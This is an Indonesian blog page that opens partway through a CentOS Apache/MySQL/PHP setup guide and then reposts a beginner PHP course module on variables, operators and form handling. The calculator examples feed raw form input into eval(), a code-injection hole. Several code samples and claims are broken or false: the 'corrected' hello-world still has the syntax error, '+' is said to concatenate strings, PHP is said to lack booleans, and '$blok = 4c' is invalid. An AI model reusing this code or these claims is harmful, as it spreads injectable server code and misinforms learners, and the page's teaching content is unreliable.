CustomLog logs/fxekobudi.local-access_log combined
</VirtualHost>
<VirtualHost 192.168.0.44:80>
ServerAdmin admin@linuxer.local
DocumentRoot /var/www/html/sarolangun
ServerName sarolangun.local
ServerAlias www.sarolangun.local
ErrorLog logs/sarolangun.local-error_log
CustomLog logs/sarolangun.local-access_log combined
</VirtualHost>
Jalankan daemon web server untuk runlevel yang diinginkan:
# /sbin/chkconfig –levels 235 httpd on
3. DATABASE SERVER
Instal paket:
# yum install mysql-libs mysql mysql-server
Jalankan daemon mysql server untuk runlevel yang diinginkan:
# /sbin/chkconfig –levels 235 mysqld on
Gunakan phpMyAdmin untuk mempermudah administrasi. Baca artikel saya tentang instalasi phpMyAdmin.
Buat user selain root untuk mengakses database, gunakan interface phpMyAdmin saja.
4. PHP
Instal paket:
# yum install php-common php php-gd php-mysql
Untuk edit file php.ini, gunakan command berikut:
vim /etc/php.ini
Pada bagian
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Rubah pada baris 356:
display_errors = On
Pada baris 619, tambahkan extension=gd.so agar script php dapat memanggil modul gd yang akan digunakan untuk Joomla:
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
extension=gd.so



By@Si OTAK MATI

Sabtu, 16 April 2011

Blajar WEB

ini sebuah modul yang saya dapat dari temen saya untuk mendalami pemblajaran tentang WEB!!dari pada temen-temen ribet untuk mendownloadnya silahakan ajah langsung baca di bawah ini!!!!cekiidoot  


APLIKASI WEB
DAY 6
(Pengenalan PHP dan Elemen Dasar PHP)
2
I. Pengantar
A. Konsep Multi Tier Application
Aplikasi internet berbasis web, yang akan kita kembangkan dalam
pelatihan ini, adalah salah satu penerapan multi tier application.
Multi tier application adalah aplikasi yang dibagi menjadi beberapa
bagian yang menjalankan fungsi masing-masing. Secara umum, ada tiga
bagian utama dari multi tier application:
Client side presentation
Server side business logic
Backend storage
Client Side Presentation
Client side presentation mengatur bagaimana aplikasi berinteraksi
dengan user. Yang dimaksud dengan interaksi antara lain adalah:
bagaimana data ditampilkan, bagaimana fungsi dan fitur aplikasi
ditampilkan.
Dalam aplikasi berbasis web, client side presentation dibuat dengan
bahasa HTML, CSS, dan JavaScript. Beberapa tool yang digunakan untuk
membuat client side presentation diantaranya Microsoft Frontpage,
Macromedia Dreamweaver, dan sebagainya.
Client side presentation berbasis web contohnya adalah tampilan aplikasi
email yang kita buka dengan browser.
Server Side Business Logic
Server side business logic, sering disebut juga middle tier, adalah bagian
yang bertanggung jawab atas cara kerja aplikasi. Di dalamnya kita
mengatur bagaimana fungsi dan fitur aplikasi dapat bekerja dengan baik.
Dalam aplikasi berbasis web, ada beberapa alternatif yang dapat
digunakan, ditentukan oleh jenis platiform yang digunakan. Alternatif ini
akan dijelaskan lebih detail pada bagian selanjutnya.
3
Back End Storage
Bagian ini mengatur cara penyimpanan data. Penyimpanan data
merupakan materi yang cukup kompleks dalam pembangunan aplikasi.
Karena kecepatan, keutuhan, dan keamanan data merupakan faktor kritis
dalam aplikasi.
Ada banyak solusi database yang tersedia di pasaran. Pada umumnya,
database yang digunakan bertipe relasional (Relational Database
Management System – RDBMS). Manajemen data dilakukan dengan
bahasa SQL (Standard Query Language).
B. Perbedaan Web Based Programming dengan System
Programming
Pembuatan aplikasi berbasis web berbeda dengan pembuatan aplikasi
berbasis windows (visual programming), misalnya Visual Basic, Delphi,
atau KDevelop. Dalam visual programming, kita meningkatkan kecepatan
dan kinerja aplikasi dengan mengoptimasi penggunaan memori,
manajemen proses, dan pengaturan Input-Output. Pada pemrograman
berbasis web, faktor yang menentukan kinerja aplikasi adalah kecepatan
akses database dan kecepatan akses jaringan dan internet.
Perbedaan kedua, adalah cara aplikasi berjalan. Pada aplikasi visual,
aplikasi dibangun dengan menggunakan tool tertentu, kemudian
dikompilasi. Hasilnya dapat langsung digunakan dalam komputer. Aplikasi
berbasis web tidak dapat dijalankan langsung di komputer. Untuk
menjalankannya, dibutuhkan engine tertentu, dalam hal ini web server.
C. Teknologi Alternatif
Teknologi server side yang akan kita pelajari pada modul ini adalah PHP.
Walaupun demikian, perlu diketahui teknologi alternatif yang dapat
menjadi bahan pertimbangan.
CGI Script
CGI Script dapat dibuat dengan berbagai bahasa pemrograman, misalnya
Perl atau Phyton. Teknologi ini pernah sangat populer di masa awal
berkembangnya web based application. Tetapi saat ini banyak
4
ditinggalkan orang karena tidak efisien, tidak fleksibel, dan keamanannya
rendah.
Proprietary API
Teknologi ini adalah bahasa pemrograman yang disediakan masingmasing
webserver, misalnya ISAPI atau NSAPI. Teknologi ini memiliki
kelemahan, yaitu hanya dapat berjalan di webserver tertentu, sehingga
mengurangi portabilitas.
ASP
Merupakan solusi server side programming dari Microsoft. Teknologi ini
banyak digunakan oleh para programmer yang berlatar belakang Visual
Basic. Database pasangannya adalah MS SQL Server. Operating system
pasangannya adalah Window 2000 Server yang menjalankan webserver
Microsoft IIS.
JavaServlet/JSP
Teknologi server side Java. Mempunyai banyak keunggulan dan
kemudahan pemrograman. Tetapi karena murni berorientasi objek,
banyak programmer pemula kesulitan menggunakannya. Selain itu, Java
juga adalah bahasa pemrograman yang relatif rumit bagi pemula.
Keunggulannya, sangat portabel. Dapat dipindahkan dengan mudah dari
Windows ke Unix dan sebaliknya.
ColdFusion
Bahasa pemrograman ini mirip dengan HTML, menggunakan tag untuk
membentuk blok-blok programnya.
PHP
Banyak digunakan oleh programmer berlatar belakang C/C++ karena
kemiripan syntaxnya. Open source, karenanya gratis dan bebas.
Database pasangannya biasanya MySQL, dijalankan bersama webserver
Apache di atas operating system Linux. Semuanya gratis dan bebas.
5
II. Hello World
Dalam bagian ini, kita akan membuat kode program sederhana untuk
menunjukkan bagaimana aplikasi PHP bekerja.
Kita membutuhkan satu file yang akan kita namakan welcome.php
A. Source code
File welcome.php akan berisi tiga baris kode sebagai berikut :
<?
echo(“Hallo user .. !”));
?>
B. Compile
Kode program pada umumnya akan mengalami proses kompilasi
setelah source code selesai dibuat. Tetapi karena PHP adalah interpreted
language, kita tidak perlu mengkompile kode ini.
C. Deploy
Untuk mendeploy, copy file welcome.php ke dalam folder percobaan
yang telah disiapkan pada bagian instalasi di atas.
D. Error message
Kode di atas akan mengalami error, karena kita terlalu banyak menulis
tanda ). Pesan error akan muncul di layar, menunjukkan lokasi error
pada kode, dan tipe errornya.
E. Output
Perbaiki kode welcome.php sehingga menjadi seperti berikut ini:
<?
echo(“Hallo user .. !”));
?>
kode akan dapat dijalankan dengan baik dan menghasilkan output
sebagai berikut :
6
7
III. Statement dan Comment
A. Statement
Statement adalah satuan perintah dalam PHP. Statement harus diakhiri
dengan tanda semicolon/titik-koma (;).
Contoh statement :
echo(“hello user … !”);
Contoh lainnya :
echo(“4 + 5 = ” . 4+5);
B. Expression
Expression adalah satu bagian kecil kode yang akan dihitung hasilnya
oleh php. Contoh expression :
4 + 5
Penggunaan expression :
echo(“4 + 5 = ” . 4+5);
C. Comment
Comment adalah bagian dari kode yang tidak dieksekusi/dijalankan.
Comment dibuat untuk memperjelas atau memberi keterangan pada
kode program.
Ada dua cara menulis comment : comment satu baris dan comment
banyak baris.
Comment satu baris dibuat dengan menggunakan tanda //. Semua
statement yang ada di kanan // tidak dijalankan oleh interpreter. Contoh
penggunaan:
echo(“4 + 5 = ” . 4+5); // menampilkan hasil 4 + 5
Comment banyak baris dibuat dengan menggunakan pasangan /* dan
*/. Semua tulisan yang dibuat di antara tanda tersebut tidak akan
dieksekusi oleh interpreter. Contoh penggunaan :
8
/*
kode ini akan menampilkan hasil dari
4 + 5
*/
echo(“4 + 5 = ” . 4+5);
9
IV. Variabel dan Tipe Data
Variabel digunakan sebagai tempat penyimpanan data sementara. Data yang
disimpan dalam variabel akan hilang setelah program selesai dieksekusi.
Untuk penyimpanan data yang permanen, kita dapat menyimpan data di
database atau di disk. Silahkan mengacu pada Akses Database untuk
mendalami penggunaan database, dan Akses File dan Folder untuk
penyimpanan data di filesystem.
Variabel di PHP diawali dengan tanda $.
Untuk dapat menggunakan variabel, ada dua langkah yang harus dilakukan,
deklarasi dan inisialisasi.
A. Deklarasi variabel
Deklarasi variabel bisa disebut juga memperkenalkan atau
mendaftarkan variabel ke dalam program.
Dalam php, deklarasi variabel seringkali digabung dengan inisialisasi.
Variabel dalam PHP dinyatakan dengan awalan $.
Contoh :
$namaPembeli
$jumlahBarang
$harga
Ada beberapa aturan yang diikuti berkenaan dengan penggunaan nama
variabel. Aturan pemberian nama variabel :
Dimulai dengan tanda $
Karakter pertama harus huruf atau garis bawah ( _ )
Karakter berikutnya boleh huruf, angka, atau garis bawah.
B. Inisialisasi variabel
Inisialisasi variabel adalah mengisi nilai untuk pertama kalinya ke dalam
variabel. Contoh inisialisasi :
10
$namaDepan = “Endy”;
$namaBelakang = “Muhardin”;
$jumlahBarang = 3;
$harga = 1000;
C. Tipe data
Dalam bahasa pemrograman yang lain, ada bermacam-macam tipe
data, misalnya integer(bilangan bulat), float(bilangan pecahan),
char(karakter angka dan huruf), string(kumpulan huruf atau kata), dan
berbagai tipe lainnya.
PHP mengenal dua tipe data sederhana; numerik dan literal. Ditambah
dengan dua tipe data yang tidak sederhana, yaitu array dan object.
Tipe Numerik dapat menyimpan bilangan bulat. PHP mampu
menyimpan data bilangan bulat dengan jangkauan dari -2 milyar sampai
+2 milyar. Contoh bilangan bulat: 3, 7, 20.
Selain itu, tipe numerik juga digunakan untuk menyimpan bilangan
pecahan
Tipe literal digunakan untuk menyimpan data berupa kumpulan huruf,
kata, dan angka.
Tipe boolean, yang dikenal dalam bahasa program yang lainnya, tidak
ada dalam PHP. Untuk menguji benar salah (true false), kita
menggunakan tipe data yang tersedia. FALSE dapat digantikan oleh
integer 0, double 0.0 atau string kosong, yaitu “”. Selain nilai itu, semua
dianggap TRUE.
Variabel dapat digunakan untuk menyimpan berbagai jenis data.
Misalnya data numerik yang dapat dioperasikan secara matematika.
Contoh :
$jumlahBarang = 3;
$harga = 1000;
$pembayaran = $jumlahBarang * $harga;
pada contoh di atas, variabel pembayaran akan menyimpan nilai 3000.
Sedangkan data non numerik (disebut juga data literal) tidak dapat
dioperasikan secara matematika. Contoh :
$nama = $namaDepan + $namaBelakang;
11
variabel nama akan menyimpan gabungan dari dua variabel, yaitu
“Endy Muhardin”.
Secara umum, data literal ditandai dengan pasangan “ dan “. Data
numerik tidak dikelilingi oleh “ dan “. Tetapi biasanya PHP akan secara
otomatis mengubah tipe data sesuai kebutuhan. Contoh :
$jalan = “Gubeng Kertajaya”;
$noRumah = 29;
$blok = 4c;
$jumlahPenghuni = 3;
$alamat = $jalan + $noRumah;
$hasil = $noRumah + $jumlahPenghuni;
$hasilAneh = $blok + $noRumah;
Pada sampel kode di atas, variabel alamat akan menyimpan nilai
Gubeng Kertajaya 29. PHP secara otomatis mengubah tipe data
variabel noRumah (numerik) menjadi literal. Variabel alamat akan bertipe
literal.
Variabel hasil akan menyimpan nilai 32, yaitu penjumlahan dari 29 dan
3.
Perhatikan, konversi otomatis ini kadang berjalan secara tidak
semestinya. Ini dapat dilihat dari variabel hasilAneh yang akan
menyimpan nilai 7. PHP mengambil nilai numerik dari variabel blok, yaitu
4, kemudian menambahkannya dengan isi variabel jumlahPenghuni. Hasil
akhirnya adalah 4 + 3, yaitu 7.
D. Passing Variable
Variabel dapat di-passing atau diteruskan ke halaman web berikutnya
yang diakses user. Ada beberapa teknik untuk meneruskan variabel,
diantaranya :
Melalui URL
Melalui Form
Melalui Cookie
URL
Variabel diteruskan melalui URL dengan format sbb
12
[alamat web]?var1=nilai1&var2=nilai2
Misalnya, untuk memberikan variabel $nama berisi “Endy” dan $alamat =
“Surabaya” ke welcome.php, kita akan menulis :
welcome.php?nama=Endy&alamat=Surabaya
Di kolom address pada explorer. Untuk lebih jelasnya, perhatikan gambar
berikut.
Variabel ini dapat diakses di script welcome.php dengan cara sebagai
berikut :
<?
echo(“Variabel \$user berisi : $user”);
echo(“Variabel \$alamat berisi : $alamat”);
?>
Form
Cara lain untuk mengirim kedua variabel tersebut adalah dengan
menggunakan form dengan kode sebagai berikut :
<html>
<head>
<title>Passing Variable</title>
</head>
<body>
<form method=”POST” action=”welcome.php”>
<p>Nama : <input type=”text” name=”nama”></p>
<p>Alamat : <input type=”text” name=”alamat”></p>
<p><input type=”submit” value=”Submit” name=”B1″></p>
</form>
</body>
</html>
13
dan tampilan sebagai berikut :
form tersebut akan diproses oleh file welcome.php
Cookie
Penggunaan cookie akan dibahas pada bagian tentang session.
14
V. Operators
Operator digunakan untuk memanipulasi nilai suatu variabel. Variabel yang
nilainya dimodifikasi oleh operator disebut operand. Contoh penggunaan
operator misalnya 13 – 3. 13 dan 3 adalah operand. Tanda “-” disebut
operator.
Untuk kemudahan penjelasan, operator diklasifikasikan menjadi :
Arithmetic Operator
Assignment Operator
Comparison Operator
Logical Operator
Lain-lain
A. Arithmetic operator
Arithmetic Operator digunakan untuk melakukan perhitungan
matematika. Misalnya
$a = 5 + 3;
Operator “+” berfungsi untuk menambahkan kedua operand (5 dan 3).
Ada beberapa arithmetic operator, yaitu :
+ : penjumlahan
- : pengurangan
* : perkalian
/ : pembagian
% : nilai sisa pembagian
Contoh penggunaan :
Buatlah dua file berikut :
operator.htm
15
Komponen Nama Variabel
TextField kiri operand1
TextField kanan operand2
Operator op
Action hasilArithmetic.php
operator.php
<?
$perhitungan = $operand1.$operator.$operand2;
eval(“\$hasil = $perhitungan;”);
echo(“Hasil Perhitungan : “);
echo(“<b>”);
echo($hasil);
echo(“</b>”);
?>
B. Relational operator
Relational operator digunakan untuk membandingkan nilai dari dua
operand. Hasil perbandingan dinyatakan dalam nilai boolean. TRUE
berarti benar, dan FALSE berarti salah.
Beberapa jenis relational operator :
== : memeriksa apakah operand kanan bernilai sama dengan
operand kiri
> : memeriksa apakah operand kiri bernilai lebih besar daripada
operand kanan
16
< : memeriksa apakah operand kiri bernilai lebih kecil dengan
operand kanan
>= : memeriksa apakah operand kiri bernilai lebih besar atau
sama dengan operand kanan
<= : memeriksa apakah operand kiri bernilai lebih kecil atau
sama dengan operand kanan
!= : memeriksa apakah operand kanan tidak bernilai sama
dengan operand kiri
Untuk mengetahui cara penggunaan relational operator, buatlah contoh
seperti petunjuk berikut.
Tambahkan operator.htm sehingga menjadi seperti gambar di bawah:
Komponen Nama Variabel
TextField kiri operand1
TextField kanan operand2
Operator Op
Action hasilRelational.php
Buat file operator.php seperti ini :
17
<?
$perhitungan = $operand1.$op.$operand2;
$hasil = eval($perhitungan);
echo(“Hasil Perhitungan : “);
echo(“<b>”);
echo($hasil);
echo(“</b>”);
?>
C. Logical operator
Logical Operator digunakan untuk membandingkan dua nilai variabel
yang bertipe boolean. Hasil yang didapat dari penggunaan logical
operator adalah boolean.
Tabel logika berikut digunakan sebagai pedoman perhitungan
Operand kiri Operator Nama Operand kanan Hasil
TRUE && And TRUE TRUE
TRUE && And FALSE FALSE
FALSE && And TRUE FALSE
FALSE && And FALSE FALSE
TRUE || Or TRUE TRUE
TRUE || Or FALSE TRUE
FALSE || Or TRUE TRUE
FALSE || Or FALSE FALSE
TRUE Xor Exclusive Or TRUE FALSE
TRUE Xor Exclusive Or FALSE TRUE
FALSE Xor Exclusive Or TRUE TRUE
FALSE Xor Exclusive Or FALSE FALSE
! Not TRUE FALSE
! Not FALSE TRUE
Untuk melihat pemakaian logical operator, ikuti petunjuk di bawah ini.
File operator.php masih sama seperti di atas.
File operator.htm menjadi seperti di bawah ini :
18
D. Assignment Operator
Assignment operator digunakan untuk memberi/mengisi nilai ke dalam
variabel tertentu. Contoh sederhana :
$nama = “endy”;
Pada contoh di atas, operator “=” digunakan untuk mengisi nilai “endy”
ke dalam variabel nama.
Selain operator “=”, ada beberapa assignment operator yang lainnya,
seperti dapat dilihat pada penjelasan berikut :
Operator +=
Penjelasan :
Menambahkan nilai pada variabel
Contoh :
$a += 3;
sama dengan
$a = $a + 3;
Operator -=
Penjelasan :
Mengurangi nilai pada variabel
Contoh :
19
$a -= 3;
sama dengan
$a = $a – 3;
Operator *=
Penjelasan :
Mengalikan variabel dengan bilangan tertentu
Contoh :
$a *= 3;
sama dengan
$a = $a * 3;
Operator /=
Penjelasan :
Membagi variabel dengan bilangan tertentu
Contoh :
$a /= 3;
sama dengan
$a = $a / 3;
Operator %=
Penjelasan :
Mencari sisa hasil bagi variabel dengan bilangan tertentu
Contoh :
$a %= 3;
sama dengan
$a = $a % 3;
Operator &=
Penjelasan :
Melakukan operasi logical AND pada variabel
Contoh :
$a &= TRUE;
sama dengan
$a = $a & TRUE;
20
Operator |=
Penjelasan :
Melakukan operasi logical OR pada variabel
Contoh :
$a |= FALSE;
sama dengan
$a = $a | FALSE;
Operator ^=
Penjelasan :
Melakukan operasi bitwise xor pada variabel
Contoh :
$a ^= 3;
sama dengan
$a = $a ^ 3;
Operator .=
Penjelasan :
Menambahkan String pada variabel
Contoh :
$a .= “rudi”;
sama dengan
$a = $a . “rudi”;
Operator ++
Penjelasan :
Menambahkan nilai satu pada variabel
Contoh :
$a ++ ;
sama dengan
$a = $a + 1;
Operator –
Penjelasan :
Mengurangi nilai satu pada variabel
Contoh :
21
$a — ;
sama dengan
$a = $a – 1;
E. Operator lain-lain
Operator penggabung String
Pada PHP, string digabungkan dengan operator . (titik).
Contoh penggunaan :
$string1 = “Hello”;
$string2 = “World”;
echo($string1.” “.$string2);
akan menampilkan :
Hello World
Operator percabangan
Percabangan pada umumnya dilakukan dengan struktur if-else, seperti
pada contoh berikut:
if($user == “endy”){
echo(“Welcome Endy”);
}else{
echo(“Wrong username”);
}
Hal yang sama dapat dilakukan dengan cara :
echo($user == endy ? “Welcome Endy” : “Wrong username”);
Perhatikan tanda ? dan :
PHP memeriksa apakah pernyataan di sebelah kiri “?” benar atau salah.
Apabila benar, pernyataan di sebelah kiri tanda “:” dieksekusi. Bila salah,
pernyataan di sebelah kanan “:” dieksekusi.
Lebih jelas tentang percabangan dapat dipelajari dalam bagian Control
Flow.
Operator Error Suppression
PHP menampilkan pesan error apabila built-in function (function yang
disediakan PHP) mengalami error. Misalnya tidak bisa membuka file,
tidak bisa mengakses database, dan lainnya.
Pada saat pembuatan aplikasi, pesan error ini sangat membantu dalam
menyelesaikan dan memperbaiki kesalahan pemrograman. Tetapi, pada
saat aplikasi selesai dibuat dan digunakan secara umum, pesan error ini
akan mengganggu pengguna.
Untuk mematikan pesan error tersebut, kita menggunakan operator @.
22
Contoh penggunaan :
@chdir(“temp”);
Pada kondisi normal, function chdir akan menimbulkan pesan error
apabila direktori temp tidak ditemukan atau tidak dapat diakses. Dengan
menggunakan operator @, PHP akan “diam saja” apabila direktori temp
tidak ditemukan atau tidak dapat diakses.



By@Si OTAK MATI

 
Design by Free NATTA Themes | Powerted by NATTA - Premium WordPress Themes | SiotakMati Corpuration